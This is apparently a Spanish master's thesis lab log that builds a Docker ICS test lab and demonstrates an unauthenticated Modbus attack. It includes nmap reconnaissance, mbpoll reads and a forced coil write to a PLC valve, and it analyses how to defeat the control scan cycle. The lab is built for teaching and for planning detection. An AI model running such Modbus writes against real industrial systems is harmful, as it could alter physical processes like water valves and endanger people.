

TFM AquaControl - Registro de laboratorio

TFM AquaControl S.A. — Registro de laboratorio

Fase 2 (despliegue) y Fase 3 (demostración de ataque Modbus)

Fecha: 21 de julio de 2026 **Entorno:** CachyOS, Docker 29.6.2, Docker Compose v5.3.1 **Stack:** OpenPLC (tuttas/openplc_v3), Conpot (honeynet/conpot), Wazuh Manager 4.9.0, Kali (build propio con nmap/mbpoll/pymodbus)

1. Despliegue del stack

Comando de despliegue:

```
docker compose up -d --build
```

Los cuatro servicios quedaron activos:

NAME	IMAGE	STATUS
conpot	honeynet/conpot:latest	Up
kali	tfmaquacontrol-kali	Up
openplc	tuttas/openplc_v3:latest	Up
wazuh.manager	wazuh/wazuh-manager:4.9.0	Up

Durante el despliegue se resolvieron dos incidencias de reproducibilidad, relevantes para el criterio de evaluación del TFM:

- La imagen thiagoralves/openplc_v3 indicada inicialmente no existe en Docker Hub; se sustituyó poruttas/openplc_v3, imagen pública equivalente.
 - El contenedor conpot no arrancaba (exec: conpot: not found) al forzar un command personalizado, que rompía el PATH con el que el binario fue instalado. Se resolvió eliminando el command y dejando el ENTRYPOINT/CMD por defecto de la imagen.
-

2. Verificación de servicios web

```
curl -I http://localhost:8080 # OpenPLC
```

```
HTTP/1.0 302 FOUND
Location: http://localhost:8080/login
Server: Werkzeug/0.16.0 Python/2.7.17
```

```
curl -I http://localhost:8800 # Conpot
```

```
HTTP/1.1 302 Found
Location: /index.html
```

Ambos servicios responden correctamente (redirecciones esperadas a login/index).

3. Reconocimiento inicial de la red OT (nmap)

Técnica MITRE ATT&CK for ICS: T0846 — Remote System Discovery

```
docker exec -it kali nmap -sV 172.21.0.0/24
```

Resultado relevante — en este primer escaneo, **OpenPLC todavía no exponía el puerto 502** (Modbus server no activado):

IP	Host	Puertos detectados
172.21.0.10	openplc	8080/tcp (http)
172.21.0.11	conpot	2121/tcp, 8800/tcp
172.21.0.20	wazuh.manager	ninguno (todos cerrados)

Hallazgo de interés: al recibir una petición HTTP no reconocida, Conpot respondió con una página 404 que se identifica como un PLC real:

```
<TITLE>Not found - Siemens, SIMATIC, S7-200</TITLE>
<h2>CP 443-1 EX40</h2>
```

Esto confirma que el honeypot emula correctamente un dispositivo Siemens ante un escaneo externo — comportamiento esperado y aprovechable como IoA en Wazuh.

4. Activación del servidor Modbus en OpenPLC

Pasos realizados en la interfaz web (<http://localhost:8080>, usuario/contraseña openplc/openplc):

1. **Programs → Add new program:** subida y compilación de `aguacontrol_valvula.st` (programa Structured Text con lógica de válvula/bomba controlada por sensor de nivel).
2. **Settings → Enable Modbus Server** (puerto 502).
3. **Dashboard → Start PLC.**

Log de arranque del runtime, confirmando el servidor Modbus activo:

```
OpenPLC Runtime starting...
Issued start_modbus() command to start on port: 502
Server: Listening on port 502
Server: waiting for new client...
```

Estado final confirmado en el Dashboard:

```
Status: Running
Program: AquaControl Valvula
File: 822204.st
```

5. Reconocimiento tras activar Modbus

```
docker exec -it kali nmap -sV -p 502,8080 172.21.0.10
```

```
PORT      STATE SERVICE VERSION
502/tcp    open  modbus  Modbus TCP
8080/tcp   open  http    Werkzeug httpd 0.16.0 (Python 2.7.17)
```

El puerto 502 (Modbus TCP) queda confirmado como expuesto y sin autenticación — esta es la deficiencia central del escenario AquaControl que se explota a continuación.

6. Demostración del ataque Modbus

Técnica MITRE ATT&CK for ICS: T0861 — Point & Tag Identification (lectura) / T0855 — Unauthorized Command Message (escritura)

6.1 Lectura inicial (baseline)

```
docker exec -it kali mbpoll -m tcp -t 0 -c 3 -r 1 -1 172.21.0.10
```

Data type.....: discrete output (coil)

```
[1]: 0      <- Valvula1
[2]: 0      <- Bomba1
[3]: 0      <- (margen)
```

Estado inicial: válvula cerrada, bomba apagada — coherente con NivelBajo = 0 (sin sensor activo).

6.2 Escritura no autorizada

```
docker exec -it kali mbpoll -m tcp -t 0 -r 1 172.21.0.10 1
```

Written 1 references.

Se fuerza el coil de Valvula1 a 1 (abierta) sin pasar por ningún tipo de autenticación ni por la lógica de control legítima.

6.3 Lectura inmediatamente posterior

```
docker exec -it kali mbpoll -m tcp -t 0 -c 3 -r 1 -1 172.21.0.10
```

```
[1]: 0
[2]: 0
[3]: 0
```

7. Análisis de impacto

La escritura se ejecutó correctamente (Written 1 references), pero al leer de nuevo el coil inmediatamente después, Valvula1 aparece otra vez en 0.

Causa: el programa de control se re-evalúa cada 100 ms (TASK Tarea0 (INTERVAL := T#100ms...)), y su lógica (IF NivelBajo THEN Valvula1 := TRUE ELSE Valvula1 := FALSE) sobrescribe el valor forzado en el siguiente ciclo de scan, ya que NivelBajo sigue en 0.

Conclusión relevante para la memoria: un ataque de escritura Modbus *puntual* contra un PLC con lógica de control activa tiene impacto limitado, porque el propio programa revierte el estado forzado en su siguiente ciclo. Esto demuestra que, en este escenario concreto, un atacante necesitaría:

- Sostener la escritura en bucle a una frecuencia mayor que el ciclo de scan del PLC (variante combinable con T0814 — Denial of Control), o
- Comprometer directamente el valor leído del sensor (NivelBajo) en lugar del actuador, para alterar la decisión de la lógica de control en origen.

Este hallazgo es evidencia empírica útil para justificar, en la sección de medidas de protección, por qué la detección temprana (Wazuh + reglas Modbus) es más determinante que confiar en que la lógica del

PLC “se autoprotege”: un ciclo de escritura sostenido sí lograría el efecto del atacante.

8. Próximos pasos

- Configurar reglas de detección en Wazuh para tráfico Modbus anómalo (escrituras no solicitadas al coil de Valvula1).
- Repetir el ataque en modo sostenido (bucle) para evaluar si logra vencer el ciclo de control, y documentar el resultado.
- Capturar en vídeo la secuencia completa: reconocimiento → lectura → escritura → alerta en Wazuh.